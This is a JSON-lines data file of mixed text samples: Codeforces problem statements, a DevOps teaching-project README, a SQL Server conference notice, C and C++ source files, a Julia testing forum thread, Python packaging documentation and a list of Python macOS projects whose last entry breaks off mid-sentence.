{"text": "Alice and Bob are playing a game on a sequence $$$a_1, a_2, \\dots, a_n$$$ of length $$$n$$$. They move in turns and Alice moves first.\n\nIn the turn of each player, he or she should select an integer and remove it from the sequence. The game ends when there is no integer left in the sequence.\n\nAlice wins if the sum of her selected integers is even; otherwise, Bob wins.\n\nYour task is to determine who will win the game, if both players play optimally.", "source": "cpt_codeforces", "language": "en", "token_count": 112, "token_count_with_eod": 113, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "DevOpsThoughts is a community initiative aims to teach the best practices in DevOps through a multi-platform application which targets variety of technologies. DevOps is one of the most emerging topics of software development today as it improves the whole software development process, but unfortunately, there is no clear, detailed and explicit model to teach the best DevOps & Software Engineering practices on real world projects, this was the main problem that lead to DevOpsThoughts community establishment.\nDevOpsThoughts teaches the best practices on a series of real world e-commerce projects, each of which is\n- Named after an animal name (We love animals, who doesn't?)\n- Built with a specific set of technologies\n- Is a branch in the DevOpsThoughts E-Commerce repository\nVisualization is the best way to understand DevOpsThoughts architecture, below is a list of useful diagrams to explain this.\n- Architecture Diagram: which is a graphical representation of concepts, elements and their usage within the application\n- Use Case Diagram: a representation for all interractions within the solution.\n- Project Explorer View: A screenshot from Visual Studio for the whole solution.\nRun the following commands and replace the BranchName with the name of the branch you want to clone.\ngit clone https://github.com/DevOpsThoughts/E-Commerce.git -b BranchName cd E-Commerce\nDevOpsThoughts Rabbit is the first project in DevOpsThoughts Series. It's an e-commerce website built with the following technologies:\n- ASP.NET MVC 5\n- Microsoft SQL Server 2014\n- Modern UI Tools & Frameworks, Like Twitter Bootstrap & Font-Awesome\nBelow is the homepage for DevOpsThoughts Rabbit\nAs we're developing a model for learning, we had to make a precise plan for the whole development process, using Scrum, user stories and behavior driven development (BDD) we can simply but the plan into this list:\nUser Stories & Product Backlog Items (PBIs)\n- User Story is a description of a specific functionality from an end-user perspective.\n- Product Backlog Itemis a single unit of work, here we mapped each user story to a PBI, so a PBI is a user story plus acceptance criteria, priority and tags.\n- Action Criteria: Is the options available for use and system respond to it.\n- Input Validation Criteria: Used only when there is an input forms being used to clarify each input type, boundaries and importance.\n- Initial PBIs: Contains each PBI's Title, Order, Tag and description (Description is the user story).\n- Detailed PBIs: Contains the initial PBIs content with enhancements to maintain consistency, plus the acceptance criteria.\nBelow is the sample for Vendor's login Initial PBI.\nAnother sample for Vendor's login Detailed PBI.\nYou can click here to view the complete list of all Basic Work Flow PBIs\nTest Cases are very important for Behavior driven development, In DevOpsThoughts, we have test cases written on three levels\n- Conceptual Test Cases\n- Functional Test Cases\n- Usability & Functional Test Cases\nConceptual Test Cases\nConceptual Test Cases are the most abstract form of test cases made with conceptual input only for purpose of conceptualizing the flow itself.\nFunctional Test Cases\nFunctional Test Cases made for testing the application functionality without discussing UI elements or UX, just making sure the application outputs the suitable output when some input is provided.\nUsability & Functional Test Cases\nUsability & Functional Test Cases are the most detailed test cases, it cares not only for functionality as functional test cases, but also for the way application responds to user actions from user experience (UX) and user interface (UI) perspective.\nUse Case Scenarios\nUse Case Scenario is a list of user actions and system response to it. In DevOpsThoughts, we map each PBI to a single use case scenario. Each scenario has the following:\n- Related PBI: The related PBI name & Id.\n- Main Actors List: A list of all actors involved in the specified use case.\n- Pre-conditions: A list of all conditions that must be met before the use case starts in order for the use case to be valid, example: Vendor has been logged in to his account.\n- Basic Flow: or what we call sometimes Happy Path is the normal expected flow for the use case with the default system settings, where the use case is expected to succeed as per main actors expectations.\n- Alternative Flows: If available, alternative flows of a use case are the flows where main actors expectations are not met yet.\n- Post-conditions: A list of all conditions that must be met after the use case ends in order for the use case to be valid, example: Order was saved in the application.\n- Initial Use Cases: Have the above structure, but with more abstraction level, so not much attention was giving to the details, but to make simple process outlining.\n- Detailed Use Cases: Have the same structure as the initial use cases, but with more details, like the input/output information and user controls available.\nBelow is the sample for Display Products List Initial Use Case Scenario.\nAnother sample for Display Products List Detailed Use Case Scenario.\nMockups are very basic UI representation used to deliver an abstract format of the expected to UI design to a UI developer from end-user or product owner perspective.\nMockups are usually made using a basic photo edition application like MS Paint or Paint.NET.\nLevel of Details\nMockups usually represents only an abstract view of a webpage, Only spaces occupied and by which elements, doesn't include icons, content nor colors.\nPhotoShop Designs (PSDs)\nBased on Test Cases, Basic Mockups and PBIs, the final PSDs are made for the Project, A PSD file is a Photoshop Design file which can be edited later, PSD files are kept up-to-date with any modifications made to the UI.\nLevel of Details\nPSD Designs are made while keeping attention to details. We can - from logical point of view - look to the Basic Mockups as initial designs, while the PSDs are the detailed designs.\nBelow is a sample for the Final PSD Design for the homepage, and it's identical with the screenshot for the homepage at the very beginning of this readme file.\nWebsite components are simply the source code for UI, alongside with any elements used in the UI such as images, icons and libraries. The Website components isn't only used for Rabbit, but the same are used for other versions of the project which is using web as a presentation layer. Developing the website components uses PSDs as an input, each PSD is converted - as it is - to be a separate web page. We gave much importance to utilize and minify all of UI source files. After each PSD is converted, it is reviewed on two levels\n- External: Which is making sure that the web page matches 100% the provided PSD.\n- Internal: Which is checking for source code quality, readability and if the code is minified.\nA Storyboarding is an illustration for a user interaction with application story, not to be confused with user stories, in storyboarding we use visual images arrayed together for user interaction with the application to represent. Storyboards are easier to be remembered than other written Test Cases, as it shows the real UX, not just some text about it. In DevOpsThoughts we use Microsoft Office's PowerPoint, which allows develops to make an animated representation of User interaction with application UI quickly with higher quality. If we look to the PSDs and Basic Mockups as a User Interface representation, we should consider Storyboarding to be the User Experience Representation.\nTo give the application some reality, we have added more than 400 Products, and we're still adding more frequently. For each product, the following information is added\n- Code: A unique alphanumerical code used to identify each product.\n- Title: The main title for the product itself.\n- Description: A detailed description about the product in text, used to promote the product but not for the technical specs, is it's described in another part.\n- Category Id: The Id for category where product is assigned too, but this isn't being displayed explicitly to application users, But it's the actual way a product is linked to category.\n- Category Name: this is what vendors see when they add the product, and members/visitors see when they search for products of a specific category.\n- Brand: This is the manufacturer brand, example: Microsoft, HP, Nokia.\n- Reward Points: Points which is added to each user so he can receive rewards after making purchases with a specific amount.\n- Price: The Original Price for the product.\n- Discount: The discount amount on the product, if any.\n- Specification: A Key, Value map of all technical specification for a product, key value maps are used to give flexibility with different kinds of products.\n- Key Features: Text representation of product Key features.\n- Image: A URL for the product image.\nPages List Grouped By User Roles\n- Home page\n- Product List Page\n- Product Details Page\n- Shopping Cart (Check Out) Cascading Menu Sub Page\n- Shopping Cart (Check Out) Page\n- Login Page\n- Add/Edit Delivery Address Page\n- Order Complete Page\n- Order Confirmation email\n- Registration Page\n- Forget the Password\n- Display/Edit Account Info\n- Order List Page\n- Addresses List Page\n- Payment Page (Note#6)\n- Dashboard (Member Home page)\n- Order List Page\n- Order Details Page\n- Edit Order Page\n- Add/Edit Product\n- Dashboard (Control Panel Home page)\n- Confirmation Message (Sub Page)\n- Loading (Sub Page or image)\n- Notification, Error, Warning\nArchitecture diagram is a graphical representation of System components and how thery're (components) are groupped together. The UML Architecture Diagram gives use a general overview of how the system works and its principles.\nUse Case Diagram\nUse Case Diagram is UML Diagram used to represent different interactions with the system. The Use Case Diagram also acts as an input for making PBIs and User Stories.\nBelow is the Use Case Diagram we have in DevOpsThoughts.\nBelow a screenshot from Microsoft Visual Studio's Solution Explorer for the different layers used in DevOpsThoughts.\nList of Basic Work Flow Product Backlog Items (PBIs)\nThis is the complete list of BWF PBIs:\n- Display special offer products in a slider\n- Display top featured products in a slider\n- Display top new arrival products in a slider\n- Display top hot sale products in a slider\n- Display top best selling products in a slider\n- Display random products in a slider\n- Display all main and sub categories of products\n- Display products of a selected category\n- Provide paging for product lists\n- Access shopping cart from the home page\n- Display product detailed information\n- Add product to the shopping cart\n- Remove product from shopping cart\n- Review products in shopping cart\n- Add delivery address for the order\n- Review order before checkout\n- Place order after review as member\n- Place order after review as guest\n- Display all order made by visitors and members\n- Update completed order\n- Display orders history for members\n- Provide membership for visitors\n- Login to the member site\n- Login to the vendor panel\n- Login to the admin panel\n- Add product to the store\n- Display all added products\n- Update product data\n- Display all orders made by all users for all vendors\n- Update order status\n- Display order detailed information\n- Recover forgotten password\n- Change password\nAbout The Founder\nMohamed Radwan is Visual Studio MVP (Microsoft Most Valuable Professional) for 5 consecutive years and a DevOps Practice Lead. He focuses on providing solutions for the various roles involved in software development and delivery process to enable them to build better software through Agile Methodologies and utilization of Microsoft Visual Studio ALM/DevOps Tools and Technologies.\nMohamed has been working in software development industry for more than 17 years, starting as a classic ASP developer in the year 2000 them moving to different roles as a senior developer, team leader, lead architect. For the last 7 years he has been passionate and focused about DevOps practices and automation.\nMohamed also worked in several countries in different regions, including United Kingdom, Sweden, Denmark, Egypt, Saudi Arabia, Kuwait, Oman, Libya.\nThrough his journey, he got the opportunity to work and help hundreds of companies to improve their software delivery practices. He also issued a lot of guides for TFS (Team Foundation Server), developed many extensions for Visual Studio, made many open source libraries and projects on GitHub and authored many tutorials on YouTube, his blog and other communities. He is also a regular speaker and participated in many local and regional conferences and events in all countries where He worked in.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 2693, "token_count_with_eod": 2694, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Join MVPs Simon Sabin, James Rowland-Jones, Chris Webb, Martin Bell, Darren Green and Allan Mitchell for SQLBits!\nSQLBits is the UK’s largest SQL Server conference and takes place on November 19th-21st at Celtic Manor Resort in Newport, South Wales. Registrations are now open.\nThis year’s event spans three days, and includes a full-day of pre-conference seminars on Thursday 19th, further details be found here.\nOn Friday 20th a pay-to-attend conference day is devoted to SQL 2008 and R2, where top SQL Server speakers will be presenting on topics such as Madison, Gemini, StreamInsight, Master Data Services and Report Builder 3.0. Further details are available here.\nFinally, on Saturday 21st the main SQLBits community conference day is held. The community day is free to attend, and will feature at least four tracks with five sessions each covering all aspects of SQL Server from including DBA, development and BI. Session submissions have now closed and voting is open so attendees can decide which sessions they’d like to see; you can see a taster of submitted sessions here.\nFor further details, and event pricing are available here.\nIs there any online mean to attend this conference.\nYou can connect directly with the conference\norganisers through the link below.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 288, "token_count_with_eod": 289, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Once upon a time a child got a test consisting of multiple-choice questions as homework. A multiple-choice question consists of four choices: A, B, C and D. Each choice has a description, and the child should find out the only one that is correct.\n\nFortunately the child knows how to solve such complicated test. The child will follow the algorithm:\n\n- If there is some choice whose description at least twice shorter than all other descriptions, or at least twice longer than all other descriptions, then the child thinks the choice is great.\n- If there is exactly one great choice then the child chooses it. Otherwise the child chooses C (the child think it is the luckiest choice).\n\nYou are given a multiple-choice questions, can you predict child's choose?", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Jason Sanders is a senior software engineer in the CUDA Platform group at NVIDIA. While at NVIDIA, he helped develop early releases of CUDA system software and contributed to the OpenCL 1.0 Specification, an industry standard for heterogeneous computing. Jason received his master’s degree in computer science from the University of California Berkeley where he published research in GPU computing, and he holds a bachelor’s degree in electrical engineering from Princeton University. Prior to joining NVIDIA, he previously held positions at ATI Technologies, Apple, and Novell. When he’s not writing books, Jason is typically working out, playing soccer, or shooting photos.\nEdward Kandrot is a senior software engineer on the CUDA Algorithms team at NVIDIA. He has more than twenty years of industry experience focused on optimizing code and improving performance, including for Photoshop and Mozilla. Kandrot has worked for Adobe, Microsoft, and Google, and he has been a consultant at many companies, including Apple and Autodesk. When not coding, he can be found playing World of Warcraft or visiting Las Vegas for the amazing food.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 211, "token_count_with_eod": 212, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/* Copyright 2017 Streampunk Media Ltd.\n\n  Licensed under the Apache License, Version 2.0 (the \"License\");\n  you may not use this file except in compliance with the License.\n  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\n  Unless required by applicable law or agreed to in writing, software\n  distributed under the License is distributed on an \"AS IS\" BASIS,\n  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  See the License for the specific language governing permissions and\n  limitations under the License.\n*/\n\n#ifndef IDEBUG_H\n#define IDEBUG_H\n\n#include <cstdarg>\n#include <stdio.h>\n\nnamespace streampunk {\n\nenum eDebugLevel { eFatal = 0, eError, eWarn, eInfo, eDebug, eTrace };\n\nclass iDebug {\npublic:\n  iDebug() : mDebugLevel(eInfo) {}\n  iDebug(eDebugLevel debugLevel) : mDebugLevel(debugLevel) {}\n  virtual ~iDebug() {}\n\n  void setDebug(eDebugLevel level)  { mDebugLevel = level; }\n  void printDebug(eDebugLevel level, const char * format, ... ) {\n    if (level <= mDebugLevel) {\n      va_list argptr;\n      va_start(argptr, format);\n      vprintf(format, argptr);\n      va_end(argptr);\n    }\n  }\nprotected:\n  eDebugLevel mDebugLevel;\n};\n\n} // namespace streampunk\n\n#endif", "source": "cpt_stack_code", "language": "code", "token_count": 347, "token_count_with_eod": 348, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "September 25, 2022, 7:33pm\nI would like to specify a different file than runtests.jl when runing test from Pkg. Something like:\npkg> test file=anotherfile.jl\nThe file would still reside in the test directory. But that would allow me to avoid editing runtests.jl and commenting in/out lines like\nThanks for your help.\nNot directly responsive to your question, but do take a look at the new\ntest item framework in the VS Code extension, it allows you to run a very fine-grained selection of tests easily.\nSeptember 25, 2022, 8:20pm\nHow did you guess I was using VS code?\nAnyway, how do I install the VS code extension? I have seen the option to install additional testing extensions but I see a long list of possibilities and nothing looking like testitems. Can you help?\nIt’s all baked into the Julia extension!\nOh, I didn’t, that is why I wrote that this is not really responsive to your question. I just wanted to point out an alternative.\nAnd yes, the entire feature is just part of the Julia extension for VS Code, as\nSeptember 26, 2022, 9:33pm\nI am missing something.\nI have version 1.7.12 as can be seen in the first screenshot.\nIn the second screenshot you can see a sentence in French saying: “Tests not found in this workspace”. Then I am told to “configure a test framework”. I guess that’s the part I did not do.\nThen you see an irrelevant option for Python testing (God forbid)\nThen an option to install further stuff.\nCan you help? Please.\nSeptember 27, 2022, 1:00am\nI think I got it.\nThe debugger needs to be started first.\nThanks. We can close this.\nHm, no, that should be entirely independent of the debugger. But the language server needs to finish its startup, and that sometimes takes a while.\nSeptember 27, 2022, 11:33am\nYou’re right about the debugger. I got the correct display for a while. Then I lost it.\nThe language server had plenty of time to start after 1 hour of trial.\nI tested again this morning and checked the language server. It started without error. Still, nothing to see in the test section. A VS code bug maybe. I don’t know. I give up for now. I’ll comment out the files I don’t want to test.\nThanks for your patience.\nJust dropping my testing workflow:\nFirst, I test everything with (where\nTestEnv.jl is installed globally):\njulia> using Pkg; Pkg.activate(\".\"); using TestEnv; TestEnv.activate(); include(\"test/runtests.jl\")\nFor any further test runs, I do:", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 635, "token_count_with_eod": 636, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <SDL.h>\n#include <termios.h>\n#include <unistd.h>\n#undef CTRL\n#include \"dolos2x.h\"\n\nstatic SDL_Window* sdlWindow;\nstatic SDL_Renderer* sdlRenderer;\nstatic struct termios old_tio, new_tio;\n\nstatic void memHookCallback(uc_engine *uc, uc_mem_type type, uint64_t address, uint32_t size, int64_t value, void *user_data) {\n  uint32_t pc;\n  uc_reg_read(uc, UC_ARM_REG_PC, &pc);\n\n  printf(\"Tried to access 0x%x 0x%x at PC = 0x%x\\n\", address, size, pc);\n}\n\nint init() {\n  sdlWindow = SDL_CreateWindow(\"dolos2x\", SDL_WINDOWPOS_UNDEFINED, SDL_WINDOWPOS_UNDEFINED, 1280, 960, 0);\n  sdlRenderer = SDL_CreateRenderer(sdlWindow, -1, SDL_RENDERER_ACCELERATED);\n\n  return 0;\n}\n\nvoid cleanup() {\n  SDL_DestroyRenderer(sdlRenderer);\n  SDL_DestroyWindow(sdlWindow);\n  SDL_Quit();\n  tcsetattr(STDIN_FILENO, TCSANOW, &old_tio);\n  printf(\"\\n\");\n}\n\nint main(int argc, char* argv[]) {\n  if(init() || initCpus()) {\n    return 1;\n  }\n\n  tcgetattr(STDIN_FILENO, &old_tio);\n  new_tio = old_tio;\n  tcsetattr(STDIN_FILENO,TCSANOW, &old_tio);\n  new_tio.c_lflag &=(~ICANON & ~ECHO);\n  tcsetattr(STDIN_FILENO, TCSANOW, &new_tio);\n  \n  uc_engine* arm920 = getArm920();\n  \n  if(initNand() ||\n     initTimer() ||\n     initMMSP2() ||\n     initNet2272(false) ||\n     readBootBlock(getRam()) ||\n     initVideo(sdlRenderer) ||\n     initGPIO() ||\n     initUart() ||\n     initSD()\n    ) {\n    return 1;\n  }\n\n  #ifdef DEBUG\n  traceCode();\n  #endif\n  \n  uc_hook memHook;\n  uc_hook_add(arm920, &memHook, UC_HOOK_MEM_UNMAPPED, memHookCallback, NULL, 1, 0);\n\n  atexit(cleanup);\n\n  //  addBreakpoint(0xC00082b0);\n  //addBreakpoint(0xc0008284);\n  \n  startExecution();\n  \n  uint32_t pc;\n  uc_reg_read(arm920, UC_ARM_REG_PC, &pc);\n  \n  return 0;\n}", "source": "cpt_stack_code", "language": "code", "token_count": 656, "token_count_with_eod": 657, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "/******************************************************************************\n** File Name:      BootModeObj.h                                            *\n** Author:         Apple Gao                                                 *\n** DATE:           07/22/2004                                                *\n** Copyright:      Spreatrum, Incoporated. All Rights Reserved.              *\n** Description:    This files contains dll interface.                        *\n******************************************************************************\n\n******************************************************************************\n**                        Edit History                                       *\n** ------------------------------------------------------------------------- *\n** DATE\t\t\t\tNAME\t\t\t\tDESCRIPTION                          *\n** 07/21/2004\t\tApple Gao\t\t\tCreate.\t\t\t\t\t\t\t     *\n******************************************************************************/\n\n#ifndef _BOOTMODEOBJ_H\n#      define\t_BOOTMODEOBJ_H\n\n\n/**---------------------------------------------------------------------------*\n**                         Dependencies                                      *\n**---------------------------------------------------------------------------*/\n#      include \"Global.h\"\n#      include \"BMFileImpl.h\"\n#      include \"ICommChannel.h\"\n#      include \"BootModeIntegOpr.h\"\n#      include \"BootModeitf.h\"\n#      include <map>\n#      include <pthread.h>\n\n\nclass CBootModeObj\n{\n\tpublic:\n\t  CBootModeObj ();\n\t  virtual ~ CBootModeObj ();\n\n\tpublic:\n\t  STDMETHOD (SetWaitTimeForNextChip) ( /*[in] */ DWORD dwWaitTime =\n\t\t\t\t\t      CHANGE_CHIP_TIMEOUT);\n\n\t  STDMETHOD (StopBootModeOperation) ();\n\n\t  STDMETHOD (StartBootModeOperation) (\n\t\t\t\t\t\t       /*[in] */ void\n\t\t\t\t\t\t       *lpBMFileInfo,\n\t\t\t\t\t\t       /*[in] */\n\t\t\t\t\t\t       UINT uFileCount,\n\t\t\t\t\t\t       /*[in] */\n\t\t\t\t\t\t       void *pOpenArgument,\n\t\t\t\t\t\t       /*[in] */\n\t\t\t\t\t\t       BOOL bBigEndian,\n\t\t\t\t\t\t       /*[in] */\n\t\t\t\t\t\t       DWORD dwOprCookie,\n\t\t\t\t\t\t       /*[in] */\n\t\t\t\t\t\t       void *pReceiver);\n\n\t  STDMETHOD (SetCommunicateChannelPtr) ( /*[in] */ LPVOID\n\t\t\t\t\t\tpCommunicateChannel);\n\n\t  STDMETHOD (GetCommunicateChannelPtr) ( /*[out] */ LPVOID *\n\t\t\t\t\t\tppCommunicateChannel);\n\n\t  //IBMOprSubscriber\n\t  STDMETHOD (SubscribeOperationObserver) (IBMOprObserver * pSink,\n\t\t\t\t\t\t  ULONG uFlags,\n\t\t\t\t\t\t  DWORD * lpdwCookie);\n\n\t  STDMETHOD (UnsubscribeOperationObserver) (DWORD dwCookie);\n\n\t  //IBMOprBuffer\n\t  STDMETHOD_ (const LPBYTE, GetReadBuffer) ();\n\n\t    STDMETHOD_ (DWORD, GetReadBufferSize) ();\n\n\t    STDMETHOD_ (void, EnablePortSecondEnum) (BOOL bEnable);\n\n\tprotected:\n\n\t  static void *GetBMThreadFunc (void *lpParam);\n\t  void *BMThreadFunc ();\n\n\t  BOOL CreateBMThread ();\n\t  void DestroyBMThread ();\n\n\t  BOOL GenerateStartOprNotification (DWORD dwOprCookie,\n\t\t\t\t\t     LPCTSTR lpszFileId,\n\t\t\t\t\t     LPCTSTR lpszFileType,\n\t\t\t\t\t     LPCTSTR lpszOperationType);\n\n\t  BOOL GenerateEndOprNotification (DWORD dwOprCookie,\n\t\t\t\t\t   LPCTSTR lpszFileId,\n\t\t\t\t\t   LPCTSTR lpszFileType,\n\t\t\t\t\t   LPCTSTR lpszOperationType,\n\t\t\t\t\t   DWORD dwResult);\n\n\t  BOOL GenerateStartFileOprNotification (DWORD dwOprCookie,\n\t\t\t\t\t\t LPCTSTR lpszFileId,\n\t\t\t\t\t\t LPCTSTR lpszFileType);\n\n\t  BOOL GenerateEndFileOprNotification (DWORD dwOprCookie,\n\t\t\t\t\t       LPCTSTR lpszFileId,\n\t\t\t\t\t       LPCTSTR lpszFileType,\n\t\t\t\t\t       DWORD dwResult);\n\n\t  BOOL GenerateStartNotification (DWORD dwOprCookie, DWORD dwResult);\n\n\t  BOOL GenerateEndNotification (DWORD dwOprCookie, DWORD dwResult);\n\n\t  void EndProc (BOOL bEndSuccess);\n\n\t  void Log (LPCTSTR lpszLog);\n\n\t  //int EnumKeys(char* pSection,CStringArray* pKeys);\n\n\tprivate:\n//    COleDispatchDriver  m_OprDriver;\n\t    CBootModeIntegOpr m_OprDriver;\n\n\t  pthread_t m_hBMThread;\n\t  BOOL m_bExitThread;\n\n\t  CBMFileImpl m_BMFileImpl;\n\n\t  DWORD m_dwOprCookie;\n\n\t  DWORD m_dwWaitTime;\n\n\t    std::map < DWORD, IBMOprObserver * >m_mapObserverRegs;\n\n\t  DWORD m_dwNextObserverCookie;\n\t  pthread_mutex_t m_CS;\n};\n#endif // _BOOTMODEOBJ_H", "source": "cpt_stack_code", "language": "code", "token_count": 954, "token_count_with_eod": 955, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "For an array $$$[a_1,a_2,\\ldots,a_n]$$$ of length $$$n$$$, define $$$f(a)$$$ as the sum of the minimum element over all subsegments. That is, $$$$$$f(a)=\\sum_{l=1}^n\\sum_{r=l}^n \\min_{l\\le i\\le r}a_i.$$$$$$\n\nA permutation is a sequence of integers from $$$1$$$ to $$$n$$$ of length $$$n$$$ containing each number exactly once. You are given a permutation $$$[a_1,a_2,\\ldots,a_n]$$$. For each $$$i$$$, solve the following problem independently:\n\n- Erase $$$a_i$$$ from $$$a$$$, concatenating the remaining parts, resulting in $$$b = [a_1,a_2,\\ldots,a_{i-1},\\;a_{i+1},\\ldots,a_{n}]$$$.\n- Calculate $$$f(b)$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 210, "token_count_with_eod": 211, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Yet another Armageddon is coming! This time the culprit is the Julya tribe calendar.\n\nThe beavers in this tribe knew math very well. Smart Beaver, an archaeologist, got a sacred plate with a magic integer on it. The translation from Old Beaverish is as follows:\n\n\"May the Great Beaver bless you! May your chacres open and may your third eye never turn blind from beholding the Truth! Take the magic number, subtract a digit from it (the digit must occur in the number) and get a new magic number. Repeat this operation until a magic number equals zero. The Earth will stand on Three Beavers for the time, equal to the number of subtractions you perform!\"\n\nDistinct subtraction sequences can obviously get you different number of operations. But the Smart Beaver is ready to face the worst and is asking you to count the minimum number of operations he needs to reduce the magic number to zero.", "source": "cpt_codeforces", "language": "en", "token_count": 190, "token_count_with_eod": 191, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "This is for PDFpen 6.3.2. Based on my experience, I would not upgrade. I did buy it as part of a StackSocial deal, so I am philosophically resigned to the issues. Maybe it is a bug.\nI wanted to edit text on a PDF. I selected the text, then went to the Correct Text button. It actually duplicated the selection, which I then could edit easily. But how to get rid of the original text. The Help section was not helpful. So I found the workaround. I was able to select the text, then go to Format Text in the Menu Bar, and select Redact Text Erase.\nBut I was only able to do it once. To do another piece of text I had to save the document, reopen, then repeat the process. Is this a bug or a deficiency?\nPlus, the interface is somewhere between Windows XP and Mac OS9. Seriously.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 191, "token_count_with_eod": 192, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Use Python packages\nApp dependencies can be specified in your app's\nrequirements.txt file. Besides the\nVIKTOR SDK version, this can include any Python package to be used in the app:\nPinning version number and version clashes\nBoth the VIKTOR SDK and drawSVG package have an explicit version number defined (pinned version numbers). This is done to ensure that your app always uses the same version. If the package maintainers release a new version overnight, this does not break your app when re-installing. By pinning the versions, you decide when to upgrade to a newer version and this enables reading the CHANGELOG which might contain necessary actions for upgrading.\nIt is possible that you are using a package which is also used by the VIKTOR SDK. The SDK defines a range of allowed versions. If the app specifies a version outside this range, an error will be logged:\nERROR: viktor X.X.X has requirement numpy>=1.15.3, but you'll have numpy 1.15.0 which is incompatible.\nThis might also happen when you don't have a pinned version number and the latest version has not yet been added to the SDK range.\nExternal packages that are internally used in the SDK are available in your app (e.g.\nmunch), even when you don't add\nthem to your app's\nrequirements.txt. Nevertheless, you are highly encouraged to explicitly define them in your app\nrequirements, as deletion of dependencies within the SDK will be done without prior notice and therefore may break\nSome package licenses do not allow for commercial use, or requires you to open-source your implementation. Make sure the package licensing permits, before using it in your app.\nUse private packages\nInstructions on how to use private packages in your app can be found here.\nUse system packages\nInstructions on how to use system packages in your app can be found here.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 392, "token_count_with_eod": 393, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Vasya is about to take his first university exam in about several minutes. And it's not just some ordinary exam, it's on mathematical analysis. Of course, right now Vasya can only think of one thing: what the result of his talk with the examiner will be...\n\nTo prepare for the exam, one has to study proofs of n theorems. It is known that there will be k examination cards on the exam and each card contains $$\\left[\\frac{n}{k}\\right]$$ distinct theorems. Besides, no theorem is mentioned in more than one card (that is, $$n - k \\cdot \\left\\lfloor \\frac{n}{k} \\right\\rfloor$$ theorems won't be mentioned in any card). During the exam several students may get the same card.\n\nWe do not know the exact way theorems are distributed by cards, however the students that took the exam before Vasya told him what theorems their cards contained. Vasya evaluates his level of proficiency in the i-th theorem by some number ai. The level of proficiency in some card is the average of the levels of proficiency in the theorems that are included in the card. Now Vasya wants to know the minimally and maximally possible levels of his proficiency in the card he gets on the exam. Vasya wants to determine it by the data he has collected from other students. Unfortunately, Vasya has no time left to do the math and he asked you to help him.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Finished her homework, Nastya decided to play computer games. Passing levels one by one, Nastya eventually faced a problem. Her mission is to leave a room, where a lot of monsters live, as quickly as possible.\n\nThere are $$$n$$$ manholes in the room which are situated on one line, but, unfortunately, all the manholes are closed, and there is one stone on every manhole. There is exactly one coin under every manhole, and to win the game Nastya should pick all the coins. Initially Nastya stands near the $$$k$$$-th manhole from the left. She is thinking what to do.\n\nIn one turn, Nastya can do one of the following:\n\n- if there is at least one stone on the manhole Nastya stands near, throw exactly one stone from it onto any other manhole (yes, Nastya is strong).\n- go to a neighboring manhole;\n- if there are no stones on the manhole Nastya stays near, she can open it and pick the coin from it. After it she must close the manhole immediately (it doesn't require additional moves).\n\nThe figure shows the intermediate state of the game. At the current position Nastya can throw the stone to any other manhole or move left or right to the neighboring manholes. If she were near the leftmost manhole, she could open it (since there are no stones on it).\n\nNastya can leave the room when she picks all the coins. Monsters are everywhere, so you need to compute the minimum number of moves Nastya has to make to pick all the coins.\n\nNote one time more that Nastya can open a manhole only when there are no stones onto it.", "source": "cpt_codeforces", "language": "en", "token_count": 357, "token_count_with_eod": 358, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Skater XL vs Session - Which game will be better ? feat. Nightspeeds\n- published: 23 Dec 2018\n- views: 69433\n▲▲▲ Subscribe ▲▲▲ Hey guys :) Today I present a comparison of Skater XL and Session! Nightspeeds : https://www.youtube.com/user/Nightspeeds If you enjoyed the video be sure to drop a like, comment and subscribe for more Skater XL content :) Twitter: https://twitter.com/Im_DIzE Instagram: https://www.instagram.com/im_dize/ PS3: psychokeks_360 Songs : Lakey Inspired - Golden hour Lakey Inspired - Going up Lakey Inspired - Distant Lakey Inspired - Find a way Outro: Pink Guy - She\\'s so nice...", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 169, "token_count_with_eod": 170, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Top 23 Python MacOS Projects\n🔎 Hunt down social media accounts by username across social networksProject mention: Looking for similar tools on github? What are your favorite tools on github? | reddit.com/r/hacking | 2021-11-28\nGuide to securing and improving privacy on macOSProject mention: Privacy settings tools for Mac? | reddit.com/r/macapps | 2021-11-29\nScout APM: A developer's best friend. Try free for 14-days. Scout APM uses tracing logic that ties bottlenecks to source code so you know the exact line of code causing performance issues and can get back to building a great product faster.\nOpen source UI framework written in Python, running on Windows, Linux, macOS, Android and iOSProject mention: JetBrains launches cross-platform UI framework for Kotlin | reddit.com/r/programming | 2021-12-04\nRun macOS on QEMU/KVM. With OpenCore + Big Sur + Monterey support now! Only commercial (paid) support is available now to avoid spammy issues.Project mention: [Question] Compiling and Running Fugu14 on Linux System | reddit.com/r/jailbreak | 2021-12-05\nIt appears your only options would be to use a virtual machine. I recommend OSX-KVM but if you’re not too familiar working with qemu you can use virtualbox\nDaemon to ban hosts that cause multiple authentication errorsProject mention: Was my raspberry hacked? | reddit.com/r/linuxadmin | 2021-10-29\nIf you are worried about hacking attempts, installing fail2ban will 